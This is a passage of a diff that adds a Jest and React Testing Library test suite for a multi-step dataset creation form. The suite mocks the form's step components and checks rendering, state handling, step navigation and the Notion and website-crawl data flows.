+            const mockFile = { fileID: 'test-1', file: { name: 'test.txt' }, progress: 0 }
+            props.updateFile(mockFile, 50, [mockFile])
+          }}
+        >
+          Update File Progress
+        </button>
+        <button
+          data-testid="step-one-update-notion-pages"
+          onClick={() => props.updateNotionPages([{ page_id: 'page-1', type: 'page' }])}
+        >
+          Add Notion Page
+        </button>
+        <button
+          data-testid="step-one-update-notion-credential"
+          onClick={() => props.updateNotionCredentialId('credential-123')}
+        >
+          Update Credential
+        </button>
+        <button
+          data-testid="step-one-update-website-pages"
+          onClick={() => props.updateWebsitePages([{ title: 'Test', markdown: '', description: '', source_url: 'https://test.com' }])}
+        >
+          Add Website Page
+        </button>
+        <button
+          data-testid="step-one-update-crawl-options"
+          onClick={() => props.onCrawlOptionsChange({ ...props.crawlOptions, limit: 20 })}
+        >
+          Update Crawl Options
+        </button>
+        <button
+          data-testid="step-one-update-crawl-provider"
+          onClick={() => props.onWebsiteCrawlProviderChange(DataSourceProvider.fireCrawl)}
+        >
+          Update Crawl Provider
+        </button>
+        <button
+          data-testid="step-one-update-job-id"
+          onClick={() => props.onWebsiteCrawlJobIdChange('job-123')}
+        >
+          Update Job ID
+        </button>
+      </div>
+    )
+  },
+}))
+
+jest.mock('./step-two', () => ({
+  __esModule: true,
+  default: (props: Record<string, any>) => {
+    stepTwoProps = props
+    return (
+      <div data-testid="step-two">
+        <span data-testid="step-two-is-api-key-set">{String(props.isAPIKeySet)}</span>
+        <span data-testid="step-two-data-source-type">{props.dataSourceType}</span>
+        <span data-testid="step-two-files-count">{props.files?.length || 0}</span>
+        <button data-testid="step-two-prev" onClick={() => props.onStepChange(-1)}>Prev Step</button>
+        <button data-testid="step-two-next" onClick={() => props.onStepChange(1)}>Next Step</button>
+        <button data-testid="step-two-setting" onClick={props.onSetting}>Open Settings</button>
+        <button
+          data-testid="step-two-update-indexing-cache"
+          onClick={() => props.updateIndexingTypeCache('high_quality')}
+        >
+          Update Indexing Cache
+        </button>
+        <button
+          data-testid="step-two-update-retrieval-cache"
+          onClick={() => props.updateRetrievalMethodCache('semantic_search')}
+        >
+          Update Retrieval Cache
+        </button>
+        <button
+          data-testid="step-two-update-result-cache"
+          onClick={() => props.updateResultCache({ batch: 'batch-1', documents: [] })}
+        >
+          Update Result Cache
+        </button>
+      </div>
+    )
+  },
+}))
+
+jest.mock('./step-three', () => ({
+  __esModule: true,
+  default: (props: Record<string, any>) => {
+    stepThreeProps = props
+    return (
+      <div data-testid="step-three">
+        <span data-testid="step-three-dataset-id">{props.datasetId || 'none'}</span>
+        <span data-testid="step-three-dataset-name">{props.datasetName || 'none'}</span>
+        <span data-testid="step-three-indexing-type">{props.indexingType || 'none'}</span>
+        <span data-testid="step-three-retrieval-method">{props.retrievalMethod || 'none'}</span>
+      </div>
+    )
+  },
+}))
+
+jest.mock('./top-bar', () => ({
+  TopBar: (props: Record<string, any>) => {
+    _topBarProps = props
+    return (
+      <div data-testid="top-bar">
+        <span data-testid="top-bar-active-index">{props.activeIndex}</span>
+        <span data-testid="top-bar-dataset-id">{props.datasetId || 'none'}</span>
+      </div>
+    )
+  },
+}))
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+
+const createMockDataset = (overrides?: Partial<DataSet>): DataSet => ({
+  id: 'dataset-123',
+  name: 'Test Dataset',
+  indexing_status: 'completed',
+  icon_info: { icon: '', icon_background: '', icon_type: 'emoji' as const },
+  description: 'Test description',
+  permission: DatasetPermission.onlyMe,
+  data_source_type: DataSourceType.FILE,
+  indexing_technique: IndexingTypeValues.QUALIFIED as any,
+  created_by: 'user-1',
+  updated_by: 'user-1',
+  updated_at: Date.now(),
+  app_count: 0,
+  doc_form: ChunkingMode.text,
+  document_count: 0,
+  total_document_count: 0,
+  word_count: 0,
+  provider: 'openai',
+  embedding_model: 'text-embedding-ada-002',
+  embedding_model_provider: 'openai',
+  embedding_available: true,
+  retrieval_model_dict: {
+    search_method: RETRIEVE_METHOD.semantic,
+    reranking_enable: false,
+    reranking_mode: undefined,
+    reranking_model: { reranking_provider_name: '', reranking_model_name: '' },
+    weights: undefined,
+    top_k: 3,
+    score_threshold_enabled: false,
+    score_threshold: 0,
+  },
+  retrieval_model: {
+    search_method: RETRIEVE_METHOD.semantic,
+    reranking_enable: false,
+    reranking_mode: undefined,
+    reranking_model: { reranking_provider_name: '', reranking_model_name: '' },
+    weights: undefined,
+    top_k: 3,
+    score_threshold_enabled: false,
+    score_threshold: 0,
+  },
+  tags: [],
+  external_knowledge_info: {
+    external_knowledge_id: '',
+    external_knowledge_api_id: '',
+    external_knowledge_api_name: '',
+    external_knowledge_api_endpoint: '',
+  },
+  external_retrieval_model: {
+    top_k: 3,
+    score_threshold: 0.5,
+    score_threshold_enabled: false,
+  },
+  built_in_field_enabled: false,
+  runtime_mode: 'general' as const,
+  enable_api: false,
+  is_multimodal: false,
+  ...overrides,
+})
+
+const createMockDataSourceAuth = (overrides?: Partial<DataSourceAuth>): DataSourceAuth => ({
+  credential_id: 'cred-1',
+  provider: 'notion',
+  plugin_id: 'plugin-1',
+  ...overrides,
+} as DataSourceAuth)
+
+// ==========================================
+// Test Suite
+// ==========================================
+
+describe('DatasetUpdateForm', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Reset mock state
+    mockDatasetDetail = undefined
+    mockEmbeddingsDefaultModel = { model: 'text-embedding-ada-002', provider: 'openai' }
+    mockDataSourceList = { result: [createMockDataSourceAuth()] }
+    mockIsLoadingDataSourceList = false
+    mockFetchingError = false
+    // Reset captured props
+    stepOneProps = {}
+    stepTwoProps = {}
+    stepThreeProps = {}
+    _topBarProps = {}
+  })
+
+  // ==========================================
+  // Rendering Tests - Verify component renders correctly in different states
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(screen.getByTestId('top-bar')).toBeInTheDocument()
+      expect(screen.getByTestId('step-one')).toBeInTheDocument()
+    })
+
+    it('should render TopBar with correct active index for step 1', () => {
+      // Arrange & Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(screen.getByTestId('top-bar-active-index')).toHaveTextContent('0')
+    })
+
+    it('should render StepOne by default', () => {
+      // Arrange & Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(screen.getByTestId('step-one')).toBeInTheDocument()
+      expect(screen.queryByTestId('step-two')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('step-three')).not.toBeInTheDocument()
+    })
+
+    it('should show loading state when data source list is loading', () => {
+      // Arrange
+      mockIsLoadingDataSourceList = true
+
+      // Act
+      render(<DatasetUpdateForm />)
+
+      // Assert - Loading component should be rendered (not the steps)
+      expect(screen.queryByTestId('step-one')).not.toBeInTheDocument()
+    })
+
+    it('should show error state when fetching fails', () => {
+      // Arrange
+      mockFetchingError = true
+
+      // Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(screen.getByText('datasetCreation.error.unavailable')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing - Verify datasetId prop behavior
+  // ==========================================
+  describe('Props', () => {
+    describe('datasetId prop', () => {
+      it('should pass datasetId to TopBar', () => {
+        // Arrange & Act
+        render(<DatasetUpdateForm datasetId="dataset-abc" />)
+
+        // Assert
+        expect(screen.getByTestId('top-bar-dataset-id')).toHaveTextContent('dataset-abc')
+      })
+
+      it('should pass datasetId to StepOne', () => {
+        // Arrange & Act
+        render(<DatasetUpdateForm datasetId="dataset-abc" />)
+
+        // Assert
+        expect(stepOneProps.datasetId).toBe('dataset-abc')
+      })
+
+      it('should render without datasetId', () => {
+        // Arrange & Act
+        render(<DatasetUpdateForm />)
+
+        // Assert
+        expect(screen.getByTestId('top-bar-dataset-id')).toHaveTextContent('none')
+        expect(stepOneProps.datasetId).toBeUndefined()
+      })
+    })
+  })
+
+  // ==========================================
+  // State Management - Test state initialization and transitions
+  // ==========================================
+  describe('State Management', () => {
+    describe('dataSourceType state', () => {
+      it('should initialize with FILE data source type', () => {
+        // Arrange & Act
+        render(<DatasetUpdateForm />)
+
+        // Assert
+        expect(screen.getByTestId('step-one-data-source-type')).toHaveTextContent(DataSourceType.FILE)
+      })
+
+      it('should update dataSourceType when changeType is called', () => {
+        // Arrange
+        render(<DatasetUpdateForm />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('step-one-change-type'))
+
+        // Assert
+        expect(screen.getByTestId('step-one-data-source-type')).toHaveTextContent(DataSourceType.NOTION)
+      })
+    })
+
+    describe('step state', () => {
+      it('should initialize at step 1', () => {
+        // Arrange & Act
+        render(<DatasetUpdateForm />)
+
+        // Assert
+        expect(screen.getByTestId('step-one')).toBeInTheDocument()
+        expect(screen.getByTestId('top-bar-active-index')).toHaveTextContent('0')
+      })
+
+      it('should transition to step 2 when nextStep is called', () => {
+        // Arrange
+        render(<DatasetUpdateForm />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('step-one-next'))
+
+        // Assert
+        expect(screen.queryByTestId('step-one')).not.toBeInTheDocument()
+        expect(screen.getByTestId('step-two')).toBeInTheDocument()
+        expect(screen.getByTestId('top-bar-active-index')).toHaveTextContent('1')
+      })
+
+      it('should transition to step 3 from step 2', () => {
+        // Arrange
+        render(<DatasetUpdateForm />)
+
+        // First go to step 2
+        fireEvent.click(screen.getByTestId('step-one-next'))
+
+        // Act - go to step 3
+        fireEvent.click(screen.getByTestId('step-two-next'))
+
+        // Assert
+        expect(screen.queryByTestId('step-two')).not.toBeInTheDocument()
+        expect(screen.getByTestId('step-three')).toBeInTheDocument()
+        expect(screen.getByTestId('top-bar-active-index')).toHaveTextContent('2')
+      })
+
+      it('should go back to step 1 from step 2', () => {
+        // Arrange
+        render(<DatasetUpdateForm />)
+        fireEvent.click(screen.getByTestId('step-one-next'))
+
+        // Act
+        fireEvent.click(screen.getByTestId('step-two-prev'))
+
+        // Assert
+        expect(screen.getByTestId('step-one')).toBeInTheDocument()
+        expect(screen.queryByTestId('step-two')).not.toBeInTheDocument()
+      })
+    })
+
+    describe('fileList state', () => {
+      it('should initialize with empty file list', () => {
+        // Arrange & Act
+        render(<DatasetUpdateForm />)
+
+        // Assert
+        expect(screen.getByTestId('step-one-files-count')).toHaveTextContent('0')
+      })
+
+      it('should update file list when updateFileList is called', () => {
+        // Arrange
+        render(<DatasetUpdateForm />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('step-one-update-files'))
+
+        // Assert
+        expect(screen.getByTestId('step-one-files-count')).toHaveTextContent('1')
+      })
+    })
+
+    describe('notionPages state', () => {
+      it('should initialize with empty notion pages', () => {
+        // Arrange & Act
+        render(<DatasetUpdateForm />)
+
+        // Assert
+        expect(screen.getByTestId('step-one-notion-pages-count')).toHaveTextContent('0')
+      })
+
+      it('should update notion pages when updateNotionPages is called', () => {
+        // Arrange
+        render(<DatasetUpdateForm />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('step-one-update-notion-pages'))
+
+        // Assert
+        expect(screen.getByTestId('step-one-notion-pages-count')).toHaveTextContent('1')
+      })
+    })
+
+    describe('websitePages state', () => {
+      it('should initialize with empty website pages', () => {
+        // Arrange & Act
+        render(<DatasetUpdateForm />)
+
+        // Assert
+        expect(screen.getByTestId('step-one-website-pages-count')).toHaveTextContent('0')
+      })
+
+      it('should update website pages when setWebsitePages is called', () => {
+        // Arrange
+        render(<DatasetUpdateForm />)
+
+        // Act
+        fireEvent.click(screen.getByTestId('step-one-update-website-pages'))
+
+        // Assert
+        expect(screen.getByTestId('step-one-website-pages-count')).toHaveTextContent('1')
+      })
+    })
+  })
+
+  // ==========================================
+  // Callback Stability - Test memoization of callbacks
+  // ==========================================
+  describe('Callback Stability and Memoization', () => {
+    it('should provide stable updateNotionPages callback reference', () => {
+      // Arrange
+      const { rerender } = render(<DatasetUpdateForm />)
+      const initialCallback = stepOneProps.updateNotionPages
+
+      // Act - trigger a rerender
+      rerender(<DatasetUpdateForm />)
+
+      // Assert - callback reference should be the same due to useCallback
+      expect(stepOneProps.updateNotionPages).toBe(initialCallback)
+    })
+
+    it('should provide stable updateNotionCredentialId callback reference', () => {
+      // Arrange
+      const { rerender } = render(<DatasetUpdateForm />)
+      const initialCallback = stepOneProps.updateNotionCredentialId
+
+      // Act
+      rerender(<DatasetUpdateForm />)
+
+      // Assert
+      expect(stepOneProps.updateNotionCredentialId).toBe(initialCallback)
+    })
+
+    it('should provide stable updateFileList callback reference', () => {
+      // Arrange
+      const { rerender } = render(<DatasetUpdateForm />)
+      const initialCallback = stepOneProps.updateFileList
+
+      // Act
+      rerender(<DatasetUpdateForm />)
+
+      // Assert
+      expect(stepOneProps.updateFileList).toBe(initialCallback)
+    })
+
+    it('should provide stable updateFile callback reference', () => {
+      // Arrange
+      const { rerender } = render(<DatasetUpdateForm />)
+      const initialCallback = stepOneProps.updateFile
+
+      // Act
+      rerender(<DatasetUpdateForm />)
+
+      // Assert
+      expect(stepOneProps.updateFile).toBe(initialCallback)
+    })
+
+    it('should provide stable updateIndexingTypeCache callback reference', () => {
+      // Arrange
+      const { rerender } = render(<DatasetUpdateForm />)
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      const initialCallback = stepTwoProps.updateIndexingTypeCache
+
+      // Act - trigger a rerender without changing step
+      rerender(<DatasetUpdateForm />)
+
+      // Assert - callbacks with same dependencies should be stable
+      expect(stepTwoProps.updateIndexingTypeCache).toBe(initialCallback)
+    })
+  })
+
+  // ==========================================
+  // User Interactions - Test event handlers
+  // ==========================================
+  describe('User Interactions', () => {
+    it('should open account settings when onSetting is called from StepOne', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-setting'))
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({ payload: 'data-source' })
+    })
+
+    it('should open provider settings when onSetting is called from StepTwo', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-two-setting'))
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({ payload: 'provider' })
+    })
+
+    it('should update crawl options when onCrawlOptionsChange is called', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-update-crawl-options'))
+
+      // Assert
+      expect(stepOneProps.crawlOptions.limit).toBe(20)
+    })
+
+    it('should update crawl provider when onWebsiteCrawlProviderChange is called', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-update-crawl-provider'))
+
+      // Assert - Need to verify state through StepTwo props
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      expect(stepTwoProps.websiteCrawlProvider).toBe(DataSourceProvider.fireCrawl)
+    })
+
+    it('should update job id when onWebsiteCrawlJobIdChange is called', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-update-job-id'))
+
+      // Assert - Verify through StepTwo props
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      expect(stepTwoProps.websiteCrawlJobId).toBe('job-123')
+    })
+
+    it('should update file progress correctly using immer produce', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+      fireEvent.click(screen.getByTestId('step-one-update-files'))
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-update-file-progress'))
+
+      // Assert - Progress should be updated
+      expect(stepOneProps.files[0].progress).toBe(50)
+    })
+
+    it('should update notion credential id', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-update-notion-credential'))
+
+      // Assert
+      expect(stepOneProps.notionCredentialId).toBe('credential-123')
+    })
+  })
+
+  // ==========================================
+  // Step Two Specific Tests
+  // ==========================================
+  describe('StepTwo Rendering and Props', () => {
+    it('should pass isAPIKeySet as true when embeddingsDefaultModel exists', () => {
+      // Arrange
+      mockEmbeddingsDefaultModel = { model: 'model-1', provider: 'openai' }
+      render(<DatasetUpdateForm />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Assert
+      expect(screen.getByTestId('step-two-is-api-key-set')).toHaveTextContent('true')
+    })
+
+    it('should pass isAPIKeySet as false when embeddingsDefaultModel is undefined', () => {
+      // Arrange
+      mockEmbeddingsDefaultModel = undefined
+      render(<DatasetUpdateForm />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Assert
+      expect(screen.getByTestId('step-two-is-api-key-set')).toHaveTextContent('false')
+    })
+
+    it('should pass correct dataSourceType to StepTwo', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+      fireEvent.click(screen.getByTestId('step-one-change-type'))
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Assert
+      expect(screen.getByTestId('step-two-data-source-type')).toHaveTextContent(DataSourceType.NOTION)
+    })
+
+    it('should pass files mapped to file property to StepTwo', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+      fireEvent.click(screen.getByTestId('step-one-update-files'))
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Assert
+      expect(screen.getByTestId('step-two-files-count')).toHaveTextContent('1')
+    })
+
+    it('should update indexing type cache from StepTwo', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-two-update-indexing-cache'))
+
+      // Assert - Go to step 3 and verify
+      fireEvent.click(screen.getByTestId('step-two-next'))
+      expect(screen.getByTestId('step-three-indexing-type')).toHaveTextContent('high_quality')
+    })
+
+    it('should update retrieval method cache from StepTwo', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-two-update-retrieval-cache'))
+
+      // Assert - Go to step 3 and verify
+      fireEvent.click(screen.getByTestId('step-two-next'))
+      expect(screen.getByTestId('step-three-retrieval-method')).toHaveTextContent('semantic_search')
+    })
+
+    it('should update result cache from StepTwo', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-two-update-result-cache'))
+
+      // Assert - Go to step 3 and verify creationCache is passed
+      fireEvent.click(screen.getByTestId('step-two-next'))
+      expect(stepThreeProps.creationCache).toBeDefined()
+      expect(stepThreeProps.creationCache?.batch).toBe('batch-1')
+    })
+  })
+
+  // ==========================================
+  // Step Two with datasetId and datasetDetail
+  // ==========================================
+  describe('StepTwo with existing dataset', () => {
+    it('should not render StepTwo when datasetId exists but datasetDetail is undefined', () => {
+      // Arrange
+      mockDatasetDetail = undefined
+      render(<DatasetUpdateForm datasetId="dataset-123" />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Assert - StepTwo should not render due to condition
+      expect(screen.queryByTestId('step-two')).not.toBeInTheDocument()
+    })
+
+    it('should render StepTwo when datasetId exists and datasetDetail is defined', () => {
+      // Arrange
+      mockDatasetDetail = createMockDataset()
+      render(<DatasetUpdateForm datasetId="dataset-123" />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Assert
+      expect(screen.getByTestId('step-two')).toBeInTheDocument()
+    })
+
+    it('should pass indexingType from datasetDetail to StepTwo', () => {
+      // Arrange
+      mockDatasetDetail = createMockDataset({ indexing_technique: IndexingTypeValues.ECONOMICAL as any })
+      render(<DatasetUpdateForm datasetId="dataset-123" />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Assert
+      expect(stepTwoProps.indexingType).toBe('economy')
+    })
+  })
+
+  // ==========================================
+  // Step Three Tests
+  // ==========================================
+  describe('StepThree Rendering and Props', () => {
+    it('should pass datasetId to StepThree', () => {
+      // Arrange - Need datasetDetail for StepTwo to render when datasetId exists
+      mockDatasetDetail = createMockDataset()
+      render(<DatasetUpdateForm datasetId="dataset-456" />)
+
+      // Act - Navigate to step 3
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      fireEvent.click(screen.getByTestId('step-two-next'))
+
+      // Assert
+      expect(screen.getByTestId('step-three-dataset-id')).toHaveTextContent('dataset-456')
+    })
+
+    it('should pass datasetName from datasetDetail to StepThree', () => {
+      // Arrange
+      mockDatasetDetail = createMockDataset({ name: 'My Special Dataset' })
+      render(<DatasetUpdateForm datasetId="dataset-123" />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      fireEvent.click(screen.getByTestId('step-two-next'))
+
+      // Assert
+      expect(screen.getByTestId('step-three-dataset-name')).toHaveTextContent('My Special Dataset')
+    })
+
+    it('should use cached indexing type when datasetDetail indexing_technique is not available', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Navigate to step 2 and set cache
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      fireEvent.click(screen.getByTestId('step-two-update-indexing-cache'))
+
+      // Act - Navigate to step 3
+      fireEvent.click(screen.getByTestId('step-two-next'))
+
+      // Assert
+      expect(screen.getByTestId('step-three-indexing-type')).toHaveTextContent('high_quality')
+    })
+
+    it('should use datasetDetail indexing_technique over cached value', () => {
+      // Arrange
+      mockDatasetDetail = createMockDataset({ indexing_technique: IndexingTypeValues.ECONOMICAL as any })
+      render(<DatasetUpdateForm datasetId="dataset-123" />)
+
+      // Navigate to step 2 and set different cache
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      fireEvent.click(screen.getByTestId('step-two-update-indexing-cache'))
+
+      // Act - Navigate to step 3
+      fireEvent.click(screen.getByTestId('step-two-next'))
+
+      // Assert - Should use datasetDetail value, not cache
+      expect(screen.getByTestId('step-three-indexing-type')).toHaveTextContent('economy')
+    })
+
+    it('should use retrieval method from datasetDetail when available', () => {
+      // Arrange
+      mockDatasetDetail = createMockDataset()
+      mockDatasetDetail.retrieval_model_dict = {
+        ...mockDatasetDetail.retrieval_model_dict,
+        search_method: RETRIEVE_METHOD.fullText,
+      }
+      render(<DatasetUpdateForm datasetId="dataset-123" />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      fireEvent.click(screen.getByTestId('step-two-next'))
+
+      // Assert
+      expect(screen.getByTestId('step-three-retrieval-method')).toHaveTextContent('full_text_search')
+    })
+  })
+
+  // ==========================================
+  // StepOne Props Tests
+  // ==========================================
+  describe('StepOne Props', () => {
+    it('should pass authedDataSourceList from hook response', () => {
+      // Arrange
+      const mockAuth = createMockDataSourceAuth({ provider: 'google-drive' })
+      mockDataSourceList = { result: [mockAuth] }
+
+      // Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(stepOneProps.authedDataSourceList).toEqual([mockAuth])
+    })
+
+    it('should pass empty array when dataSourceList is undefined', () => {
+      // Arrange
+      mockDataSourceList = undefined
+
+      // Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(stepOneProps.authedDataSourceList).toEqual([])
+    })
+
+    it('should pass dataSourceTypeDisable as true when datasetDetail has data_source_type', () => {
+      // Arrange
+      mockDatasetDetail = createMockDataset({ data_source_type: DataSourceType.FILE })
+
+      // Act
+      render(<DatasetUpdateForm datasetId="dataset-123" />)
+
+      // Assert
+      expect(stepOneProps.dataSourceTypeDisable).toBe(true)
+    })
+
+    it('should pass dataSourceTypeDisable as false when datasetDetail is undefined', () => {
+      // Arrange
+      mockDatasetDetail = undefined
+
+      // Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(stepOneProps.dataSourceTypeDisable).toBe(false)
+    })
+
+    it('should pass default crawl options', () => {
+      // Arrange & Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(stepOneProps.crawlOptions).toEqual({
+        crawl_sub_pages: true,
+        only_main_content: true,
+        includes: '',
+        excludes: '',
+        limit: 10,
+        max_depth: '',
+        use_sitemap: true,
+      })
+    })
+  })
+
+  // ==========================================
+  // Edge Cases - Test boundary conditions and error handling
+  // ==========================================
+  describe('Edge Cases', () => {
+    it('should handle empty data source list', () => {
+      // Arrange
+      mockDataSourceList = { result: [] }
+
+      // Act
+      render(<DatasetUpdateForm />)
+
+      // Assert
+      expect(stepOneProps.authedDataSourceList).toEqual([])
+    })
+
+    it('should handle undefined datasetDetail retrieval_model_dict', () => {
+      // Arrange
+      mockDatasetDetail = createMockDataset()
+      // @ts-expect-error - Testing undefined case
+      mockDatasetDetail.retrieval_model_dict = undefined
+      render(<DatasetUpdateForm datasetId="dataset-123" />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      fireEvent.click(screen.getByTestId('step-two-update-retrieval-cache'))
+      fireEvent.click(screen.getByTestId('step-two-next'))
+
+      // Assert - Should use cached value
+      expect(screen.getByTestId('step-three-retrieval-method')).toHaveTextContent('semantic_search')
+    })
+
+    it('should handle step state correctly after multiple navigations', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Act - Navigate forward and back multiple times
+      fireEvent.click(screen.getByTestId('step-one-next')) // to step 2
+      fireEvent.click(screen.getByTestId('step-two-prev')) // back to step 1
+      fireEvent.click(screen.getByTestId('step-one-next')) // to step 2
+      fireEvent.click(screen.getByTestId('step-two-next')) // to step 3
+
+      // Assert
+      expect(screen.getByTestId('step-three')).toBeInTheDocument()
+      expect(screen.getByTestId('top-bar-active-index')).toHaveTextContent('2')
+    })
+
+    it('should handle result cache being undefined', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Act - Navigate to step 3 without setting result cache
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      fireEvent.click(screen.getByTestId('step-two-next'))
+
+      // Assert
+      expect(stepThreeProps.creationCache).toBeUndefined()
+    })
+
+    it('should pass result cache to step three', async () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Set result cache value
+      fireEvent.click(screen.getByTestId('step-two-update-result-cache'))
+
+      // Navigate to step 3
+      fireEvent.click(screen.getByTestId('step-two-next'))
+
+      // Assert - Result cache is correctly passed to step three
+      expect(stepThreeProps.creationCache).toBeDefined()
+      expect(stepThreeProps.creationCache?.batch).toBe('batch-1')
+    })
+
+    it('should preserve state when navigating between steps', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Set up various states
+      fireEvent.click(screen.getByTestId('step-one-change-type'))
+      fireEvent.click(screen.getByTestId('step-one-update-files'))
+      fireEvent.click(screen.getByTestId('step-one-update-notion-pages'))
+
+      // Navigate to step 2 and back
+      fireEvent.click(screen.getByTestId('step-one-next'))
+      fireEvent.click(screen.getByTestId('step-two-prev'))
+
+      // Assert - All state should be preserved
+      expect(screen.getByTestId('step-one-data-source-type')).toHaveTextContent(DataSourceType.NOTION)
+      expect(screen.getByTestId('step-one-files-count')).toHaveTextContent('1')
+      expect(screen.getByTestId('step-one-notion-pages-count')).toHaveTextContent('1')
+    })
+  })
+
+  // ==========================================
+  // Integration Tests - Test complete flows
+  // ==========================================
+  describe('Integration', () => {
+    it('should complete full flow from step 1 to step 3 with all state updates', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Step 1: Set up data
+      fireEvent.click(screen.getByTestId('step-one-update-files'))
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Step 2: Set caches
+      fireEvent.click(screen.getByTestId('step-two-update-indexing-cache'))
+      fireEvent.click(screen.getByTestId('step-two-update-retrieval-cache'))
+      fireEvent.click(screen.getByTestId('step-two-update-result-cache'))
+      fireEvent.click(screen.getByTestId('step-two-next'))
+
+      // Assert - All data flows through to Step 3
+      expect(screen.getByTestId('step-three-indexing-type')).toHaveTextContent('high_quality')
+      expect(screen.getByTestId('step-three-retrieval-method')).toHaveTextContent('semantic_search')
+      expect(stepThreeProps.creationCache?.batch).toBe('batch-1')
+    })
+
+    it('should handle complete website crawl workflow', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Set website data source through button click
+      fireEvent.click(screen.getByTestId('step-one-update-website-pages'))
+      fireEvent.click(screen.getByTestId('step-one-update-crawl-options'))
+      fireEvent.click(screen.getByTestId('step-one-update-crawl-provider'))
+      fireEvent.click(screen.getByTestId('step-one-update-job-id'))
+
+      // Navigate to step 2
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Assert - All website data passed to StepTwo
+      expect(stepTwoProps.websitePages.length).toBe(1)
+      expect(stepTwoProps.websiteCrawlProvider).toBe(DataSourceProvider.fireCrawl)
+      expect(stepTwoProps.websiteCrawlJobId).toBe('job-123')
+      expect(stepTwoProps.crawlOptions.limit).toBe(20)
+    })
+
+    it('should handle complete notion workflow', () => {
+      // Arrange
+      render(<DatasetUpdateForm />)
+
+      // Set notion data source
+      fireEvent.click(screen.getByTestId('step-one-change-type'))
+      fireEvent.click(screen.getByTestId('step-one-update-notion-pages'))
+      fireEvent.click(screen.getByTestId('step-one-update-notion-credential'))
+
+      // Navigate to step 2
+      fireEvent.click(screen.getByTestId('step-one-next'))
+
+      // Assert
+      expect(stepTwoProps.notionPages.length).toBe(1)
+      expect(stepTwoProps.notionCredentialId).toBe('credential-123')
+    })
+
+    it('should handle edit mode with existing dataset', () => {
+      // Arrange
+      mockDatasetDetail = createMockDataset({
+        name: 'Existing Dataset',
+        indexing_technique: IndexingTypeValues.QUALIFIED as any,
+        data_source_type: DataSourceType.NOTION,
+      })
+      render(<DatasetUpdateForm datasetId="dataset-123" />)
+
+      // Assert - Step 1 should have disabled data source type
+      expect(stepOneProps.dataSourceTypeDisable).toBe(true)
+
+      // Navigate through
